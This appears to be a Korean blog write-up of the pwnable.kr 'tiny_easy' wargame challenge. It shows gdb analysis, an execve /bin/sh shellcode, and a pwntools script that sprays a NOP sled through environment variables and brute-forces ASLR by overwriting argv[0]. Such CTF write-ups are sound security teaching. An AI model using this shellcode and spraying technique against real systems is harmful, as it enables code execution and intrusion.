본문 바로가기
시스템 해킹/pwnable.kr

[Pwnable.kr] tiny_easy

by L3m0n S0ju 2021. 8. 4.


scp -P 2222 horcruxes@pwnable.kr:/home/tiny_easy/tiny_easy ./ 명령어로 파일을 가져옵니다. 그리고 IDA로 열어주면 아래와 같이 명령어 4개가 실행되고 오류가 납니다. 문제 서버로 들어가서 gdb에서 0x08048054에 브레이크 포인트를 걸고 분석을 하겠습니다.

 

 

 


gdb에서 source /usr/share/peda/peda.py를 입력하면 gdb-peda를 통해 쉽게 분석할 수 있습니다. disas main을 입력하면 역시나 심볼이 없어서 분석을 할 수 없습니다. 위에 IDA에서 찾은 주소에 브레이크 포인트를 걸고 실행을 합니다.

 

 

 


edx에는 home/tiny_easy/tiny_easy 라는 문자열이 담겨있고 따라서 [edx]는 '/hom' 을 의미하고 16진수로 0x6d6f682f입니다. 이러한 주소는 당연히 없으므로 코드가 진행되지 않습니다. 만약 edx에 쉘코드를 넣을 수 있다면 플래그를 획득할 수 있습니다.


다시 함수 시작 부분을 분석하면 스택에는 0x1, /home/tiny_easy/tiny_easy 이라는 값이 가장 바깥쪽에 위치합니다. 이 값들을 자세히 관찰하면  0x1은 argc, /home/tiny_easy/tiny_easy는 argv[0]를 의미하는게 아닐까 추측할 수 있습니다.  

 


인자로 aaaa bbbb cccc를 입력하고 실행하면 스택에 순서대로 argc, argv[0], argv[1], argv[2], argv[3]이 들어가는 것을 볼 수 있습니다. 하지만 edx에서 다음 실행할 명령어로 가져오는 데이터는 argv[0]의 내용입니다. argv[0]은 파이썬 모듈을 이용하여 argv[0]에 원하는 주소를 입력할 수 있습니다.


마지막으로 문제가 하나 남아있습니다. 현재 파일을 실행할 때 마다 주소 값이 바뀌므로 ALSR이 설정되어 있음을 알 수 있습니다. 그리고 NX가 설정되어 있어서 스택에 데이터를 주입할 수 없을 것 같았지만 NX는 설정되어 있는데 vmmap으로 확인하면 스택에는 모든 권한이 주어지는 괴의한 형태의 문제입니다. 결국 스택은 사용가능하고 우리가 관찰한 스택 영역은 argv와 env 부분입니다. 주소값이 계속 바뀌므로 NOP Sled라는 기술을 사용할 것입니다. 최대한 넓은 영역에 NOP Sled를 구축해야 쉘코드가 작동할 확률이 높아집니다. 따라서 빈 공간이 많은 env 부분에 NOP Sled를 최대한 많이 깔아줍니다. NOP Sled란 NOP(No OPeration) 아무런 작동을 하지않는 영역에 도착하면 의미있는 코드가 있는 곳 까지 마치 썰매(Sled)를 타듯이 이동합니다. 그리고 쉘코드 영역에 도착하면 쉘코드를 실행하는 확률적인 공격입니다.

 

 


쉘코드는 구글에 검색해서 아무거나 가져오면 됩니다. 필자는 아래 쉘코드를 이용했습니다.

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

argv에 넣을 공격지점은 env 부분으로 아래와 같은 값들이 저장되어 있는 곳입니다. "XDG_SESSION_ID=119013" 라는 환경변수가 가장 스택의 바깥쪽에 있으므로 해당 주소를 5번 정도 파일을 실행하면서 주소값을 가져왔습니다.

 

0004| 0xffac87bc --> 0xffac9dcb ("XDG_SESSION_ID=119013")
0008| 0xffac87c0 --> 0xffac9de1 ("SHELL=/bin/bash")
0012| 0xffac87c4 --> 0xffac9df1 ("TERM=xterm-256color")
0016| 0xffac87c8 --> 0xffac9e05 ("SSH_CLIENT=218.154.130.114 1097 2222")
0020| 0xffac87cc --> 0xffac9e2a ("SSH_TTY=/dev/pts/43")
0024| 0xffac87d0 --> 0xffac9e3e ("USER=tiny_easy")
0028| 0xffac87d4 --> 0xffac9e4d ("COLUMNS=157")


5번 반복적으로 파일을 실행하여 얻은 "XDG_SESSION_ID=119013"의 주소입니다. 임의로 하나 선택하여 공격지점으로 삼겠습니다.

 

0xffec1dcb
0xffca9dcb
0xff989dcb
0xffc05dcb
0xffbe1dcb

 

 

익스플로잇 코드


from pwn import*

payload =  "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" # 페이로드 1000번이상 곱하면 인자가 너무 많아서 오류 발생
env_ = {} # 딕셔너리 생성
argv_ = [p32(0xffec1dcb)] #
argv[0]에 공격지점 주소입력

for i in range(0, 1000):
    env_[str(i)] = payload # {1:페이로드, 2:페이로드, ... , 999:페이로드}와 같은 형태로 딕셔너리 생성

for i in range(0, 1000):
    p = process(executable = "/home/tiny_easy/tiny_easy", argv=argv_, env=env_) // 프로세스 1000번 실행

    try:

        p.sendline("ls") // 명령어가 동작하는지 실험

        p.recv() // 명령어에 대한 결과 출력

        p.interactive() // 위에서 오류가 안뜨면 쉘을 획득한 것이므로 쉘과 연동
    except:
        print("[trial] : " + str(i)) // 실패할 경우 프로세스 반복횟수 출력
        continue


플래그

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] echo1  (0) 2021.08.08
[Pwnable.kr] fsb  (0) 2021.08.07
[Pwnable.kr] horcruxes  (1) 2021.08.03
[Pwnable.kr] asm  (0) 2021.08.01
[Pwnable.kr] memcpy  (0) 2021.07.31

댓글